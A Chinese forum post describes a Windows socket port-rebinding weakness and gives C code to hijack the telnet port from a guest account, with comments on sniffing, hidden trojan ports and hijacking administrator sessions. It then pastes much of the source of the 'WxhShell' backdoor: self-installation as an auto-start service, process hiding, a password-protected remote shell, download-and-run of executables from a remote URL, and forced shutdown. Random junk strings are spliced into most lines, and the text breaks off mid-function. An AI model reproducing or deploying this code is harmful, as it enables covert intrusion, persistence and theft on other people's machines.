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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J*"G*x#u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -@G,Ry-\t  
S5xum_Dq  
  saddr.sin_family = AF_INET; NR0fxh  
8\_YP3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i|OG#PsY-  
" midC(rTm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r2xIbZ  
\6c8Lqa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3Ay<2v  
]='zY3  
  这意味着什么?意味着可以进行如下的攻击: )2y# cM*  
zQyt1&!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T!Eyq,]  
"~ eF%}.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {G4{4D }  
Ga#5xAI{a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G[z4 $0f  
nEboet-#D0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $"6O92G(hJ  
n0%]dKCB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0l>4Umxr{J  
)l"py9STF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o[E|xw  
6,UW5389  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UU" '  
7xy[;  
  #include 1;N5@0%p  
  #include %cFqD &6  
  #include @Xj6h!"R  
  #include    ;dE'# Kb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;ax%H @o  
  int main() z)U/bjf  
  { Sk|DVV $  
  WORD wVersionRequested; )xj!7:n)  
  DWORD ret; zKX|m-i|2  
  WSADATA wsaData; JUlCj #%  
  BOOL val; ]B3\IT  
  SOCKADDR_IN saddr; E\dJb}"x %  
  SOCKADDR_IN scaddr; /#xx,?~xx0  
  int err; = & =#G3f  
  SOCKET s; wwD?i.3  
  SOCKET sc; P\2UIAPa\b  
  int caddsize; IIIP<nyc  
  HANDLE mt; =E10j.r  
  DWORD tid;   :B"Y3~I  
  wVersionRequested = MAKEWORD( 2, 2 ); 9L9+zs3 k  
  err = WSAStartup( wVersionRequested, &wsaData ); ^4 ?LQ[t'  
  if ( err != 0 ) { - TU^*  
  printf("error!WSAStartup failed!\n"); ]3bXJE  
  return -1; W$ag |WV  
  } QC^ #ns&  
  saddr.sin_family = AF_INET; *wD| e K7  
   #Qnl,lf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oVYW '~OID  
, UiA?7k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #Z>EX?VS:  
  saddr.sin_port = htons(23); u[G`_Y{=EM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B #zU'G*Y  
  { MiB}10  
  printf("error!socket failed!\n"); $PE{}`#g  
  return -1; 5svM3  #  
  } Ir :y#  
  val = TRUE; .P5OUK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T?Y/0znB*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 95%QF;h  
  { {Jn*{5tZ>  
  printf("error!setsockopt failed!\n"); vm Y*K  
  return -1; 1NQstmd{  
  } JuTIP6 /G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4%9 +="  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1DT}_0{0Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bL9vjD'}  
@dx$&;w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )CM3v L {  
  { \1R<GBC4  
  ret=GetLastError(); 1sN >U<  
  printf("error!bind failed!\n"); _q<Ke/  
  return -1; 1'Y7h;\~\  
  } (Y>|P  
  listen(s,2); pRrokYM d  
  while(1) wseb]=U  
  { k1HVvMD<  
  caddsize = sizeof(scaddr); dD.;P=AP  
  //接受连接请求 "Q <  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k2Y *  
  if(sc!=INVALID_SOCKET) +4]31d&3  
  { h}knn3"S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .R5(k'g?  
  if(mt==NULL) %MH!L2|  
  { ^a{cK  
  printf("Thread Creat Failed!\n"); C^8n;i9  
  break; {RPZq2Tpc  
  } !aQQq[  
  } X8Y)5,`s  
  CloseHandle(mt); ! uX0G4  
  } .Qz412  
  closesocket(s); t+<?$I[  
  WSACleanup(); ;2%8tV$V  
  return 0; .5K}R<  
  }   "-afHXED  
  DWORD WINAPI ClientThread(LPVOID lpParam) (dgBI}Za  
  { nXFPoR)T  
  SOCKET ss = (SOCKET)lpParam; 49d02AU%  
  SOCKET sc; Tw0GG8(c  
  unsigned char buf[4096]; U1;<NUg  
  SOCKADDR_IN saddr; u-%|ZSg  
  long num; !Un &OAy.!  
  DWORD val; _Z{EO|L  
  DWORD ret; `m7w%J.>n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~H~iKl}|7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Iq["(!7E5  
  saddr.sin_family = AF_INET; SL ) ope  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i4s_:%+  
  saddr.sin_port = htons(23); H2 Gj(Nc-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +u\kTn  
  { 8 LH\a.>  
  printf("error!socket failed!\n"); SQ0?M\D7  
  return -1; }K'gjs/N;  
  } }Md5a%s<  
  val = 100; fs,]%g^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o<Y[GW1pg  
  { :HW\awv  
  ret = GetLastError(); {;-wXzv`  
  return -1; >^N{  
  } rGIf/=G^r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $z48~nu@ j  
  { X4I+  
  ret = GetLastError(); %=[xc?  
  return -1; vzH"O=  
  } <TQ,7M4X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b<E+5;u  
  { J@lQzRqRb  
  printf("error!socket connect failed!\n"); "eG@F  
  closesocket(sc); (N[R`LN  
  closesocket(ss); /{71JqFis  
  return -1; 2PTAIm Rq  
  } #_?m.~`g[  
  while(1) tQ7:4._  
  { %|AXVv7IN>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VV$4NV&`Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \qZ>WCp>r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J{qsCJiB  
  num = recv(ss,buf,4096,0); pr?k~Bn  
  if(num>0) ;]\>jC  
  send(sc,buf,num,0); I3,0vnE@  
  else if(num==0) rm?C_  
  break; r<9G}9  
  num = recv(sc,buf,4096,0); 8_:j.(n  
  if(num>0) =V>inH  
  send(ss,buf,num,0); )&vuT q'7'  
  else if(num==0) Hzc5BC  
  break; 6tZ ak1=V  
  } GJTakhj3  
  closesocket(ss); `W9~u: F  
  closesocket(sc); f[fH1cu&`  
  return 0 ; !))!! {  
  } Hn sPXF'8g  
/hp [ +K  
%Kzu&*9Hb  
========================================================== Zgw4[GpL  
LTWiCI  
下边附上一个代码,,WXhSHELL ;}KT 3Q<^  
[MXyOE  
========================================================== 5hj _YqQ7  
VKMgcfbHr/  
#include "stdafx.h" CEh!X=Nn  
7#+>1 "\  
#include <stdio.h> C'.^2s#e8  
#include <string.h> /CXQ&nwY9=  
#include <windows.h> <IO@Qj1*  
#include <winsock2.h> \]|(w*C  
#include <winsvc.h> 0`KR8# A@  
#include <urlmon.h> *4OB 88$  
m(KBg'kQ  
#pragma comment (lib, "Ws2_32.lib") iiLDl  
#pragma comment (lib, "urlmon.lib") {M ^5w  
+%=lu14G  
#define MAX_USER   100 // 最大客户端连接数 MWq1 "c  
#define BUF_SOCK   200 // sock buffer ":!1gC  
#define KEY_BUFF   255 // 输入 buffer XImX1GH  
p)Fi{%bc  
#define REBOOT     0   // 重启 'y&DOy/|  
#define SHUTDOWN   1   // 关机 Mb:>  
YkF52_^_  
#define DEF_PORT   5000 // 监听端口 sv)4e)1  
8DkZ @}  
#define REG_LEN     16   // 注册表键长度 o3cE.YUF  
#define SVC_LEN     80   // NT服务名长度 PS$g *x  
"@YtxYTW-  
// 从dll定义API tSVU,m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^H`4BWc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4L/nEZ!Nsu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $[0\Th  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 66{Dyn7J~  
Ia j`u  
// wxhshell配置信息 4 z^7T  
struct WSCFG { oer3DD(  
  int ws_port;         // 监听端口 I(uM`g  
  char ws_passstr[REG_LEN]; // 口令 +:3s f%0  
  int ws_autoins;       // 安装标记, 1=yes 0=no =wznkqyhi  
  char ws_regname[REG_LEN]; // 注册表键名 yA~1$sA1  
  char ws_svcname[REG_LEN]; // 服务名 d]vom@iI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 95mwDHbA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p0Pmmp7r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -,q qQf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *:?XbtIK u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `_e5pW=:>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _0o65?F  
[L=M=;{4  
}; }poLH S/  
1vinO!  
// default Wxhshell configuration "Pl.G[Buc-  
struct WSCFG wscfg={DEF_PORT, U;#G $  
    "xuhuanlingzhe", ($Q|9>5,  
    1, %?Q<  
    "Wxhshell", HdRwDW@7=  
    "Wxhshell", yG2rAG_ G&  
            "WxhShell Service",  6apK  
    "Wrsky Windows CmdShell Service", wufQyT`  
    "Please Input Your Password: ", S;j"@'gz9  
  1, 49=L9:  
  "http://www.wrsky.com/wxhshell.exe", Nz>xilU'  
  "Wxhshell.exe" yp]z@SYA@  
    }; J"K(nKXO_?  
g>QN9v})  
// 消息定义模块 w[g`)8Ib  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r0s(MyI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {hoe^07XK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4+:'$Nw  
char *msg_ws_ext="\n\rExit."; Ctbc!<@o  
char *msg_ws_end="\n\rQuit."; i,2eoM)FB  
char *msg_ws_boot="\n\rReboot..."; 3LZvlcLb  
char *msg_ws_poff="\n\rShutdown..."; { g4`>^;  
char *msg_ws_down="\n\rSave to "; 9B/iQCFtj$  
q;.LK8M  
char *msg_ws_err="\n\rErr!"; 45H9pY w  
char *msg_ws_ok="\n\rOK!"; Y/T-2)D  
=w7+Yt  
char ExeFile[MAX_PATH];  \|C*b<  
int nUser = 0; [I gqK5@  
HANDLE handles[MAX_USER]; wW7#M  
int OsIsNt; hjz`0AS  
p\Fxt1Y@X  
SERVICE_STATUS       serviceStatus; [e o=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UAGh2?q2  
&q +l5L"  
// 函数声明 C=t9P#g*.  
int Install(void); O*yA50Cn  
int Uninstall(void); C(vQR~_  
int DownloadFile(char *sURL, SOCKET wsh); Ro=dgQ0:t  
int Boot(int flag); %$N,6}n  
void HideProc(void); ?3gf)g=  
int GetOsVer(void); Y*sw;2Z;a  
int Wxhshell(SOCKET wsl); u7  
void TalkWithClient(void *cs); a,h]DkD  
int CmdShell(SOCKET sock); h:i FLSf  
int StartFromService(void); K/_"ybR7  
int StartWxhshell(LPSTR lpCmdLine); /vpwpVHIpG  
vj|#M/3>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qL5~Wr m-W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3`;1;T2$B  
(9b%'@A@m  
// 数据结构和表定义 zU'7x U-  
SERVICE_TABLE_ENTRY DispatchTable[] = Y]!&, e,  
{ .\ :MB7p  
{wscfg.ws_svcname, NTServiceMain}, tAkv'.  
{NULL, NULL} 5> !N)pA  
}; 'EN80+xYX  
FSkLR h  
// 自我安装 `3*QKi$  
int Install(void) #e1iYFgS  
{ yq[. WPve  
  char svExeFile[MAX_PATH]; lYmxd8  
  HKEY key; c]"w0a-`^@  
  strcpy(svExeFile,ExeFile); j /@<=  
tJ .Ln  
// 如果是win9x系统,修改注册表设为自启动 iUs_)1  
if(!OsIsNt) { Y$9x !kV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "\u<\CL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y@7n>U  
  RegCloseKey(key); q2s=>J';  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YF>1 5{H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #kE8EhQZ  
  RegCloseKey(key); Gd$!xN %O  
  return 0; /x<uv_"  
    } WJk3*$=  
  } WJ,?5#  
} m'M5O@?  
else { VQ8Fs/Zt!  
>">Xd@Wk  
// 如果是NT以上系统,安装为系统服务 8#[2]1X^8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v]rbm}uU9  
if (schSCManager!=0) 6}~k4;'}A  
{ y9k'jEZ"oh  
  SC_HANDLE schService = CreateService SVObJsB^  
  ( !s:_>P`MQ  
  schSCManager, Ibx\k  
  wscfg.ws_svcname, uN1VkmtDO  
  wscfg.ws_svcdisp, #fk1'c2  
  SERVICE_ALL_ACCESS,  ^Vf@J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a^_W}gzzd  
  SERVICE_AUTO_START, wc-v]$DW  
  SERVICE_ERROR_NORMAL, Ai)>ot  
  svExeFile, H?,Dv>.#*  
  NULL, Z?'?|vM  
  NULL, ,/kZt!  
  NULL, g~U<0+&yw%  
  NULL, KpDb%j  
  NULL Qg0%r bE  
  ); (" +clb`  
  if (schService!=0) {,1>(  
  { 8 |Ob7+  
  CloseServiceHandle(schService); <[w5M?n8  
  CloseServiceHandle(schSCManager); hj{)6dBX%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bYqv)_8  
  strcat(svExeFile,wscfg.ws_svcname); ;+bF4r@:+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KK{_s=t%<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lM#,i\8Q  
  RegCloseKey(key); o ZQ@Yu3  
  return 0; ym_as8A*Q  
    } 7U-}Y  
  } X&i;WI  
  CloseServiceHandle(schSCManager); PjXiYc&  
} =)Fb&h]G^  
} 5z\,]  
F_I!qcEQ  
return 1;  \< dg  
} ?uU_N$x  
$zF%F.rln  
// 自我卸载 l]j;0i  
int Uninstall(void) EPR85[k  
{ [Jj@A(Cz  
  HKEY key; H@9QEj!Y  
u,{R,hTDS  
if(!OsIsNt) { o+)y!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L=fy!R  
  RegDeleteValue(key,wscfg.ws_regname); 1yqsE`4f  
  RegCloseKey(key); TL)7X.1'L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k~3\0man  
  RegDeleteValue(key,wscfg.ws_regname);  <4< y  
  RegCloseKey(key); $G{j[iLY  
  return 0; y%x:~.  
  } (nXnP{yb  
} ,In%r`{i  
} s {^wr6B  
else { ;$e)r3r`LV  
mSvSdKKKlI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U$3DIJVI  
if (schSCManager!=0) 8@LUL)"  
{ 9%53 _nx?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s= 5 k7  
  if (schService!=0) dQ _4aO  
  { _l1"X^Aa  
  if(DeleteService(schService)!=0) { g-B{K "z  
  CloseServiceHandle(schService); o!U(=:*b  
  CloseServiceHandle(schSCManager); UFu0{rY_  
  return 0; r=SC bv  
  } Gt _tL%  
  CloseServiceHandle(schService); q'4P/2)va  
  } fD3'Ye<R  
  CloseServiceHandle(schSCManager); (:O6sTx-hE  
} <&gs)BY  
} T>7N "C  
m{$}u@a  
return 1; {`e-%<  
} 7a^D[f0V  
`M{Ne:J  
// 从指定url下载文件 t\'MB  
int DownloadFile(char *sURL, SOCKET wsh) [@JK|50|K  
{ +u*Pi  
  HRESULT hr; ;#S]mso1  
char seps[]= "/"; /xcXd+k]  
char *token; 6\jbSe  
char *file; D$>&K&  
char myURL[MAX_PATH]; *wY+yoj  
char myFILE[MAX_PATH]; #:P$a%V  
ngmC~l*,  
strcpy(myURL,sURL); d:>'c=y  
  token=strtok(myURL,seps); uK`gveY  
  while(token!=NULL) >d&0a:  
  { D _[NzCv<-  
    file=token; <SQR";  
  token=strtok(NULL,seps); *9xxX,QT8Q  
  } <2L,+  
%{pjC7j#  
GetCurrentDirectory(MAX_PATH,myFILE); 68(^*  
strcat(myFILE, "\\"); cruBJZr*  
strcat(myFILE, file); =:zPT;K  
  send(wsh,myFILE,strlen(myFILE),0); @YQ*a4`  
send(wsh,"...",3,0); HFTeG4R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b/Ma,}  
  if(hr==S_OK) z wRF-{s  
return 0; 8 hhMuh  
else z5 @i"%f  
return 1; hN~H8.g  
'+ZJf&Ox  
} w{ |`F>f9  
Rm}5AJ  
// 系统电源模块 C.":2F;-e  
int Boot(int flag) jDTG15_=  
{ R4R\B  
  HANDLE hToken; :T?WN+3  
  TOKEN_PRIVILEGES tkp; C22h*QM*  
&4sz:y4T>  
  if(OsIsNt) { e`H>}O/ai  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O[eU{ ;P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X }i2qv  
    tkp.PrivilegeCount = 1; KdYR?rY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; & 0\:MJc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K3`!0(  
if(flag==REBOOT) { l4.ql1BX@y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) = $^90Q,Z;  
  return 0; }*}F_Y+  
} ::'Y07  
else { ~piE$"]&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j~V $q/7S  
  return 0; l2YClK  
} 5h^BXX|Y*  
  } 1?^ P=^8   
  else { Ejr'Yzl3_  
if(flag==REBOOT) { /kK!xe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q~5zv4NX  
  return 0; bZ:+q1 D  
} *PV7s  
else { (V&d:tW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K(PSGlI f  
  return 0; ]!P8{xmb@  
} Mzg P@tB  
} "S6";G^I  
V|B4lGS&  
return 1; 64mD%URT  
} OIpT9  
\'[tfSB  
// win9x进程隐藏模块 Ii5U) "  
void HideProc(void) !sEhjJV^7  
{ 1 I.P7_/  
~E y+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FXn98UFY  
  if ( hKernel != NULL ) "4Q_F3?_`  
  { UcD<vg"p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ayg^<)JWh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F=w:!tqA  
    FreeLibrary(hKernel); WQ8 "Jj?k6  
  } (!N2,1|  
/SS~IhUX  
return; J?X{NARt  
} fe`_0lxj  
pjTJZhT2I  
// 获取操作系统版本 gp{C89gP  
int GetOsVer(void) SiaW; ks  
{ /5"T46jD  
  OSVERSIONINFO winfo; d0ht*b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !X$19"  
  GetVersionEx(&winfo); Xx[,n-rA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }2e s"  
  return 1; cuumQQ  
  else 3@Fa  
  return 0; <]KQ$8dtD  
} cLwnV.  
mIDVN  
// 客户端句柄模块 <fDT/  
int Wxhshell(SOCKET wsl) ABe25Sus  
{ lVq5>:'}^;  
  SOCKET wsh; 9kF0H a}J  
  struct sockaddr_in client; l4U*Lv>   
  DWORD myID; 4lc|~Fj++  
GH-Fqz  
  while(nUser<MAX_USER) P7,g^:$  
{ Br}@Vvq@  
  int nSize=sizeof(client); ENr#3+m$;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #\}FQl6  
  if(wsh==INVALID_SOCKET) return 1; Ug546Bz  
{5{VGAD&]>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #X %!7tU6  
if(handles[nUser]==0) pU !:  
  closesocket(wsh); y9R%%i  
else .N.RpRz{f  
  nUser++; v{ohrpb0v  
  } +a|Q)Ob  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |94o P>d  
G rU`;M"  
  return 0; D84&=EpVZ  
} Q4LPi;{\  
Y G8C<g6E7  
// 关闭 socket (t V T&eO  
void CloseIt(SOCKET wsh) MI(#~\Y~P  
{ *P7/ry^<F  
closesocket(wsh); siCm)B  
nUser--; W!O/t^H>  
ExitThread(0); bQq/~  
} +"BJjxG  
[ei~Xkzkj  
// 客户端请求句柄 %s+'"E"E  
void TalkWithClient(void *cs) R6fkc^  
{ sU*?H`U3d  
/t7f5mA  
  SOCKET wsh=(SOCKET)cs; .AO-S)wHR  
  char pwd[SVC_LEN]; b=2:\F  
  char cmd[KEY_BUFF]; n~\; +U  
char chr[1]; 5XHejHn>  
int i,j; =j- ,yxBvJ  
u<fZ.1  
  while (nUser < MAX_USER) { > K,QP<B  
^W:a7cMw  
if(wscfg.ws_passstr) { : Bo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xxl|j$m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e/:?9  
  //ZeroMemory(pwd,KEY_BUFF); L8h!%56s  
      i=0; )~R[aXkvY  
  while(i<SVC_LEN) { Cx/J_Ro#  
R?:Q=7K  
  // 设置超时 c;X,-Q9  
  fd_set FdRead; (2> q  
  struct timeval TimeOut; vWESu4W`L  
  FD_ZERO(&FdRead); ~!PWJ~U  
  FD_SET(wsh,&FdRead); ,'`yh|}G\  
  TimeOut.tv_sec=8; 'V:MppQVZ.  
  TimeOut.tv_usec=0; B?-w<":!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F$ G)vskd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '5$@ I{z  
k]r4b`x`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C^4,L \E  
  pwd=chr[0]; 3fQ`}OcNr  
  if(chr[0]==0xd || chr[0]==0xa) { }cCIYt\RK  
  pwd=0; YU[#4f~  
  break; 0wVM% Dng  
  } ^L d5<  
  i++; #9[>  
    } gM;m{gXYK  
/"k[T  
  // 如果是非法用户,关闭 socket \ZV>5N3hS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^(C4Q?[2m  
} _,(s  
XK/l1E3N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IaSPwsvt'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RDHK'PGA  
H{5,  -x  
while(1) { <2 [vR|Q*  
obF|;fwPnR  
  ZeroMemory(cmd,KEY_BUFF); 71AYDO  
M_%KhK  
      // 自动支持客户端 telnet标准   hLZf A rq}  
  j=0; A_U=`M=-  
  while(j<KEY_BUFF) { XtZd% #2},  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ibQ xL3  
  cmd[j]=chr[0]; j[dZ*Jr_  
  if(chr[0]==0xa || chr[0]==0xd) { zo "L9&Hzo  
  cmd[j]=0; gvWgw7z  
  break; [efU)O&  
  } b?iPQ$NyQ  
  j++; DDGDj)=`  
    } b,+KXx  
zT&"rcT">  
  // 下载文件 )=K8mt0qob  
  if(strstr(cmd,"http://")) { YV|_y:-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A+dx7anUz  
  if(DownloadFile(cmd,wsh)) |?^qs nB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ieq_XF]U  
  else :^{KY(3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z{1A x  
  } UTu~"uCR  
  else { OwNM`xSa|\  
viYrPhH+z  
    switch(cmd[0]) { YfT D  
  Z>y6[o  
  // 帮助 C)yw b6  
  case '?': { ZLKbF9lo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); __tA(uA  
    break; k -R"e  
  }  C&qo$C  
  // 安装 1U/9=b  
  case 'i': { qP;1LAX  
    if(Install()) RZ{O6~VH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4FYV]p8f  
    else [c1Gq)ht  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pl@K"PRE  
    break; G?,3Zn0  
    } %Ul,9qG+  
  // 卸载 .J @mpJdY  
  case 'r': { ~PyS;L}  
    if(Uninstall()) <aaT,J8%[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9fbbJ"I+  
    else ALF21e*n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' #=n>  
    break; EMr|#}]#s  
    } 1@'I eywg  
  // 显示 wxhshell 所在路径 <Bn0wr8)\  
  case 'p': { /t]1_  
    char svExeFile[MAX_PATH]; =EYgck;)  
    strcpy(svExeFile,"\n\r"); Y{dX[^[  
      strcat(svExeFile,ExeFile); 7n84`|=  
        send(wsh,svExeFile,strlen(svExeFile),0); I`IW^eZM  
    break; BH}Cx[n?~  
    } t`hes $E  
  // 重启 -lfDoNRhQ  
  case 'b': { %4M,f.[e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5 Slz ^@n  
    if(Boot(REBOOT)) O[U`(A:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @.k^ 8hc  
    else { M'R ] ''  
    closesocket(wsh); ~QUNR?h  
    ExitThread(0); 4*f+np  
    } L{IMZ+IB2|  
    break; 6l4=  
    } YGQ/zB^Pj  
  // 关机 Io IhQ  
  case 'd': { <uFj5.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R%}<z*~NE@  
